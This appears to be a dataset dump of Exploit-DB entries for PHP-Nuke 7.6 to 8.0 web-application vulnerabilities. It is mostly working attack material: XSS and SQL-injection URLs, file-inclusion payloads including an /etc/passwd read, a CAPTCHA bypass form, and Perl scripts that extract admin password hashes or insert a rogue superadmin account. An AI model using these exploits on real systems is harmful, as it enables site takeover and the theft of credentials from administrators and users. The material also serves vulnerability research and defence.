deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25342
Description: PHP-Nuke 7.6 Web_Links Module - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-04-06
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/13025/info

PHP-Nuke is reportedly affected by multiple cross-site scripting vulnerabilities in the Web_Links Module. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=TopRated&ratenum=[XSS]&ratetype=num
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=%3Ch1%3E50&ratetype=num
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlinkdetails&ttitle=[XSS]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlinkeditorial&ttitle=[XSS]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlinkcomments&ttitle=[XSS]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=ratelink&ttitle=[XSS]
Exploit-DB #25360
Description: PHP-Nuke 7.6 Web_Links Module - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-04-07
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/13055/info

The Web_Links module of PHP-Nuke is affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

These issues are reported to affect PHP-Nuke version 7.6; earlier versions may also be affected.

http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=modifylinkrequestS&url='[SQL]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlink&orderby=[SQL]&min=[SQL]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=search&query=sex&orderby=[SQL]&min=[SQL]&show=[SQL]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=[SQL]&ratetype=num
Exploit-DB #27058
Description: PHP-Nuke 7.7 EV Search Module - SQL Injection
Type: webapps
Platform: php
Date: 2006-01-09
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/16186/info

PHPNuke EV is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

PHPNuke EV version 7.7 is vulnerable; earlier versions may also be affected. 

Example proof-of-concept code has been provided:


navigate to http://www.example.com/modules.php?name=Search and type in

s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/*
Exploit-DB #27318
Description: PHP-Nuke 7.8 - 'Mainfile.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-25
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/16831/info

PHP-Nuke is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Reports indicate this issue is directly related to the filtering mechanisms PHP-Nuke uses to prevent attacks such as SQL injections. Therefore, this issue may affect all scripts and parameters that use the vulnerable filtering mechanisms.

http://www.example.com/nuke78p/?kala=p0hh+UNION+ALL+SELECT+1,2,3,4,5+FROM+ppp/%2aad_click
http://www.example.com/nuke78/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/%2a
Exploit-DB #1326
Description: PHP-Nuke 7.8 Search Module - SQL Injection
Type: webapps
Platform: php
Date: 2005-11-16
Author: anonymous

Exploit:
#!/usr/bin/perl -w
use IO::Socket;

if (@ARGV < 2)
{
print "*---------------------------------------*\n";
print "* EXPLOIT for PHPNuke <=7.8 *\n";
print "*---------------------------------------*\n\n";
print " Usage : \n";
print " PHPNuke[1] HOST /[path_phpnuke] \n\n";
print " HOST - Host where is phpnuke example: localhost \n\n";
print " Example :\n\n";
print " PHPNuke[1] www.victim.com /phpnuke/html/ \n\n";
exit();
}

$HOST = $ARGV[0];
$phpnuke_path = $ARGV[1];

print "\n";
print "Host : $HOST\n";
print "phpnuke_path : $phpnuke_path\n";
print "\n";
$OK = 0;
$modules = "modules.php";
$query = "name=Search&query=s%')/**/UNION/**/SELECT/**/0,pwd,0,aid,0,0,0,0,0,0/**/FROM/**/nuke_authors/*";
$length = length $query;
$GET = $phpnuke_path . $modules;
print "[*] Connecting at victim host [OK]\n";
$send = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "[*] Connect [FAILED]\n";
print "[*] Connected [OK]\n";
print "[*] Sending exploit [OK]\n\n";
print $send "POST ".$GET." HTTP/1.0\n";
print $send "Host: ".%HOST."\n";
print $send "Referer: http://".%HOST.$phpnuke_path."modules.php?name=Search \r\n";
print $send "User-Agent: Internet Explorer 6.0 [SR]\n";
print $send "Content-Type: application/x-www-form-urlencoded\n";
print $send "Content-Length: ".$length."\n\n";
print $send $query;
print $send "Cookie: lang=english\r\n\r\n";
print $send "Connection: close\n\n";

print "[*] Exploit send [OK]\n";
print "[*] Wait for reply...[OK]\n";
while ($answer = <$send>)
{
if ($answer =~ /=0"><b>([^:]*)<\/b>/ ) { 
$OK = 1;
print "[*] Success [OK]\n";
print "[*] USER: $1\n";
}
if ($answer =~ /=\"0">([^:]*)<\/a>/ ) { 
$OK = 1;
print "[*] PASSWORD: $1\n";
}
}
if ($OK == 0) { print "[*] Exploit [FAILED]\n"; }

# milw0rm.com [2005-11-16]
Exploit-DB #1866
Description: PHP-Nuke 7.9 Final - 'phpbb_root_path' Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-06-02
Author: ddoshomo

Exploit:
# Milli-Harekat Advisory ( www.milli-harekat.org )
# PHP-Nuke <= All version - Remote File Include Vulnerabilities
# Risk : High
# Class: Remote
# Script : PHP NUKE ALL VERSION
# Credits : ERNE
# Thanks : Dj_ReMix,Eskobar,TR_IP,ÃŸy KorsaN,OsL3m7,Poizonbox,Di_lejyoner and All MHG USERS
# Vulnerable :

http://www.site.com/modules/Forums/admin/index.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_board.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_disallow.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_forumauth.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_groups.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_ranks.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_styles.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_user_ban.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_words.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_avatar.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_forum_prune.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_forums.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_mass_email.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_smilies.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts]
http://www.site.com/modules/Forums/admin/admin_users.php?phpbb_root_path=[evil_scripts]

# milw0rm.com [2006-06-02]
Exploit-DB #29453
Description: PHP-Nuke 7.x - 'Block-Old_Articles.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-13
Author: Paisterist

Exploit:
source: https://www.securityfocus.com/bid/22037/info

PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

PHP-Nuke 7.9 and prior versions are vulnerable; other versions may also be affected. 

<?
/*

Neo Security Team - Pseudo-Code Proof of Concept Exploit
PHP-Nuke <= 7.9 Old-Articles Block "cat" SQL Injection vulnerability

http://www.neosecurityteam.net
Paisterist

*/
set_time_limit(0);
$host="localhost";
$path="/phpnuke/";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);

if ($fp) {
    /* we put the GET request on $p variable, with "cid" with the 
malicious code and "categories" set to 1. */

    fwrite($fp, $p);

    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match("/([a-z0-9]{32})/", $content, $matches);

    if ($matches[0])
    print "<b>Hash: </b>".$matches[0];
}
?>
Exploit-DB #27249
Description: PHP-Nuke 7.x - CAPTCHA Bypass
Type: webapps
Platform: php
Date: 2006-02-18
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/16722/info

The CAPTCHA implementation of PHPNuke may be bypassed by remote attackers due to a design error.


This may be used to carry out other attacks such as brute-force attempts against the login page.

[------ real life exploit ------]

<html>
<head>
<title>phpNuke CAPTHCA bypass POC</title>
</head>
<body>
<center>
<br><br><br><br>

<form action="http://localhost/nuke78/modules.php?name=Your_Account" method="post">

Username: <input type="text" name="username" size="15" maxlength="25"><br>
Password: <input type="password" name="user_password" size="15" maxlength="20"><br>

<input type="hidden" name="random_num" value="112652">
<input type="hidden" name="gfx_check" value="304380">

<input type="hidden" name="op" value="login">
<input type="submit" value="Login">

</form>
<br><br><br><br>
</center>
</body>
</html>

[----- /real life exploit ------]
Exploit-DB #26817
Description: PHP-Nuke 7.x - Content Filtering Bypass
Type: webapps
Platform: php
Date: 2005-12-14
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/15855/info

PHPNuke is prone to a content filtering bypass vulnerability. This issue can allow an attacker to bypass content filters and potentially carry out cross-site scripting, HTML injection and other attacks.

PHPNuke 7.9 and prior versions are reported to be vulnerable. 

URI:
http://www.example.com/[DIR]/modules.php?name=Search
Insert:
<iframe src=http://www.example.com?phpnuke79 <

URI:
http://www.example.com/[DIR]//modules.php?name=Web_Links
Insert:
<iframe src=http://www.example.com?phpnuke79 <
Exploit-DB #27927
Description: PHP-Nuke 7.x - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2005-05-31
Author: ERNE

Exploit:
source: https://www.securityfocus.com/bid/18186/info

PHP-Nuke is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/modules/Forums/admin/index.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_board.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_disallow.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_forumauth.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_groups.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_ranks.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_styles.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_user_ban.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_words.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_avatar.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_forum_prune.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_forums.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_mass_email.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_smilies.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts]
http://www.example.com/modules/Forums/admin/admin_users.php?phpbb_root_path=[evil_scripts]
Exploit-DB #28885
Description: PHP-Nuke 7.x Journal Module - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-10-31
Author: Paisterist

Exploit:
source: https://www.securityfocus.com/bid/20829/info

The PHP-Nuke Journal module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

PHP-Nuke 7.9 and prior versions are vulnerable.

<?
/*

Neo Security Team - Pseudo-Code Proof of Concept Exploit
http://www.neosecurityteam.net
Paisterist

*/
set_time_limit(0);
$host="localhost";
$path="/phpnuke/";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$data=""; /* Here the variables, like "bywhat" and "forwhat", with the 
SQL Injection */

if ($fp) {
    /* we put the POST request on $p variable, sending the data saved on 
$data. */

    fwrite($fp, $p);

    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);

    if ($matches[0])
    print "<b>Hash: </b>".$matches[0];
}
?>
Exploit-DB #33011
Description: PHP-Nuke 8.0 - '/main/tracking/userLog.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-05-27
Author: Gerendi Sandor Attila

Exploit:
source: https://www.securityfocus.com/bid/35117/info

PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP-Nuke 8.0.0 is vulnerable; other versions may also be affected.

The following sample request is available:

GET http://www.example.com/PHP-Nuke-8.0/index.php HTTP/1.0
Accept: */*
referer: '+IF(False,'',SLEEP(5))+'
Exploit-DB #30881
Description: PHP-Nuke 8.0 - 'autohtml.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-11-10
Author: d3v1l

Exploit:
source: https://www.securityfocus.com/bid/26807/info

Dance Music is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized remote user to view files and execute local scripts in the context of the webserver process. 

http://www.example.com/autohtml.php?filename=../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #10293
Description: PHP-Nuke 8.0 - News Module Cross-Site Scripting / HTML Code Injection
Type: webapps
Platform: php
Date: 2009-11-27
Author: K053

Exploit:
# Software Link: http://www.phpnuke.org/modules.php?name=Downloads&d_op=viewdownload&cid=1
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
note :

This bug found by tampering passed data .
coders don't sanitize and check user entry point for news rate.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
POC:

http://server/modules.php?name=News&op=rate_complete&sid=6&score=[insert ur code here]

1. xss : <SCRIPT>alert(/XSS/.source)</SCRIPT>
2. Html code injection : <font color=red>

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Exploit-DB #14316
Description: PHP-Nuke 8.0 -Web_Links Module - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-07-10
Author: yawn

Exploit:
# PHP-Nuke <= 8.0 (Web_Links Module) Remote Blind SQL Injection Exploit
# Author: yawn
# Contact Me: http://www.unitx.net
# E-Mail: yawn@unitx.net
# Requirements: magic_quotes_gpc : off
# Greetings: #0day@irc.iside.us | #Unit-X@irc.unitx.net | Dante90

# 	He had but little gold within his suitcase;
#	But all that he might borrow from a friend
#	On books and learning he would swiftly spend,
# 			       -- Geoffrey Chaucer, The Clerk


use strict;
use warnings;
use LWP::UserAgent;

sub Nuke::Bench {
	my $hosto = $_;
        my $website = LWP::UserAgent->new;
        my $average = 0;
        print "[+] Calculating average load time (it may take a while) ...\n";
        for (my $i = 0; $i < 5 ; $i++) {
                my $bef = time();
                my $out = $website->get($hosto);
                my $time = time();
                $average += int($time-$bef);
        }
        return $average/5;
}

sub Nuke::Usage() {
        print "[+] Usage: perl nuke.pl <host>\n";
        print "[+]        the host must be the complete path to modules.php\n";
        print "[+] Example: perl nuke.pl http://www.site.com/modules.php\n";
}

sub Nuke::Banner() {
        print "[+] Remote Blind SQL Injection (Benchmark Mode) PHP-Nuke 8.0\n";
        print "[+] I'm not responsable for an illegal use of this exploit\n";
        print "[+] Date: 06-02-2010\n";
        print "[+] Author: yawn\n";
}
Nuke::Banner();
my $host = shift || die Nuke::Usage();
$host .= "?name=Web_Links&l_op=Add&title=WTF&description=WTF";
my $time = Nuke::Bench($host);
my $attack = LWP::UserAgent->new;
my $pass = "";
$attack->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)
Gecko/20100407 Ubuntu/9.04 (jaunty) Shiretoko/3.5.9');
my @charset  =  (48..57, 97..102);
print "[+] Average load time is $time\n";
print "[+] Trying to exploit the SQL Injection\n";

for (my $j = 1; $j <=32; $j++) {
	sleep(3);
	foreach (@charset) {
		sleep(2);
		print "[+] Now trying with $_ \n";
		my $before = time();
		my $resp = $attack->post($host,
		{ url => "'/**/UNION SELECT
IF(SUBSTRING(pwd,$j,1)=CHAR($_),sleep(6),null) FROM nuke_authors WHERE
radminsuper='1" },
		Referer => $host);
		my $after = time();
		if(int($after-$before) > ($time + 4)) {
			print "[+] Success with ".chr($_)."\n";
			$pass .= chr($_);
			last;
		}
	}
}
print "[+] MD5 Hash : $pass\n";
Exploit-DB #33021
Description: PHP-Nuke 8.0 Downloads Module - 'query' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-02
Author: Schap Security

Exploit:
source: https://www.securityfocus.com/bid/35180/info

PHP-Nuke is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP-Nuke 8.0 is vulnerable; other versions may also be affected.

http://www.example.com/modules.php?name=Downloads&d_op=search&query=&#039;&#039;;!--"[script]alert(document.cookie)[/script]
Exploit-DB #3345
Description: PHP-Nuke 8.0 Final - 'INSERT' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-20
Author: krasza

Exploit:
#!/usr/bin/perl 
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]I registered new superadmin
#[+]You can login at http://blackshell.pl/~krasza/nuke/html/index.php 
#[+]Login:krasza
#[+][CREDENTIAL_REDACTED]
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
	$referer="http://www.krasza.int.pl');INSERT INTO `nuke_authors` VALUES ('krasza', 'God', 'http://www.krasza.int.pl', 'krasza\@gmail.com', '61af1f6e572d7fe3a72f54a6ac53830e', '0', '1', '";
	$zadanie->referer($referer);
	$respone=$ua->request($zadanie);
	$respone->is_success or die "$adres : ",$respone->message,"\n";
	print "[+]I registered new superadmin\n";
	print "[+]You can login at $adres \n";
	print "[+]Login:krasza\n";
	print "[+][CREDENTIAL_REDACTED]\n";
	print "[+]Exploit successed\n";
sub banner{
	print "0day exploit for PHP-nuke <=8.0 Final\n";
        print "Sql injection attack in INSERT syntax\n";
	print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
        print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
	print "0day exploit for PHP-nuke <=8.0 Final\n";
	print "Sql injection attack in INSERT syntax\n";
	print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
	print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
	print "Use:\n";
	print "\tperl exploit.pl [url]\n";
	print "\t[url]-vicitim webpage with index.php\n";
	print "Example:\n";
	print "\tperl exploit.pl http://phpnuke.org/index.php\n";
	exit(0);
}

# milw0rm.com [2007-02-20]